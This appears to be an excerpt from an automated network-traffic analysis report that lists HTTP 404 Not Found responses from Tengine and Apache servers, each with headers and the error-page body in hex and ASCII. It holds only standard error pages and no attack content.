Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: TengineDate: Tue, 29 Oct 2024 09:03:07 GMTContent-Type: text/html; charset=utf-8Content-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: TengineDate: Tue, 29 Oct 2024 09:03:10 GMTContent-Type: text/html; charset=utf-8Content-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: TengineDate: Tue, 29 Oct 2024 09:03:13 GMTContent-Type: text/html; charset=utf-8Content-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Tue, 29 Oct 2024 09:03:31 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 77 12 d2 33 4e 01 95 1a 14 16 6d 15 e2 0a b1 79 af 9b 1a 9d 32 6e 0f 84 e3 ef ed cd 16 7a 6c 81 42 38 0a 8c 8b c6 c0 eb 60 9a 8a 61 ce b0 ef 31 e1 f3 c9 0b 6c 60 6d 75 72 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Tue, 29 Oct 2024 09:03:34 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 77 12 d2 33 4e 01 95 1a 14 16 6d 15 e2 0a b1 79 af 9b 1a 9d 32 6e 0f 84 e3 ef ed cd 16 7a 6c 81 42 38 0a 8c 8b c6 c0 eb 60 9a 8a 61 ce b0 ef 31 e1 f3 c9 0b 6c 60 6d 75 72 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Tue, 29 Oct 2024 09:03:37 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 77 12 d2 33 4e 01 95 1a 14 16 6d 15 e2 0a b1 79 af 9b 1a 9d 32 6e 0f 84 e3 ef ed cd 16 7a 6c 81 42 38 0a 8c 8b c6 c0 eb 60 9a 8a 61 ce b0 ef 31 e1 f3 c9 0b 6c 60 6d 75 72 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 626Connection: closeDate: Tue, 29 Oct 2024 09:03:39 GMTServer: ApacheData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 3b 22 3e 0a 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 30 61 33 32 38 63 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 30 65 6d 3b 22 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 68 31 3e 0a 20 20 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 38 65 6d 3b 22 3e 0a 20 20 20 59 6f 75 72 20 62 72 6f 77 73 65 72 20 63 61 6e 27 74 20 66 69 6e 64 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 20 63 6f 72 72 65 73 70 6f 6e 64 69 6e 67 20 74 6f 20 74 68 65 20 55 52 4c 20 79 6f 75 20 74 79 70 65 64 20 69 6e 2e 0a 20 20 3c 2f 70 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Error 404 - Not found </title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta content="no-cache" http-equiv="cache-control"> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.0em;"> Error 404 - Not found </h1> <p style="font-size:0.8em;"> Your browser can't find the document corresponding to the URL you typed in. </p> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 29 Oct 2024 09:03:58 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 29 Oct 2024 09:04:01 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 29 Oct 2024 09:04:04 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 29 Oct 2024 09:04:06 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC 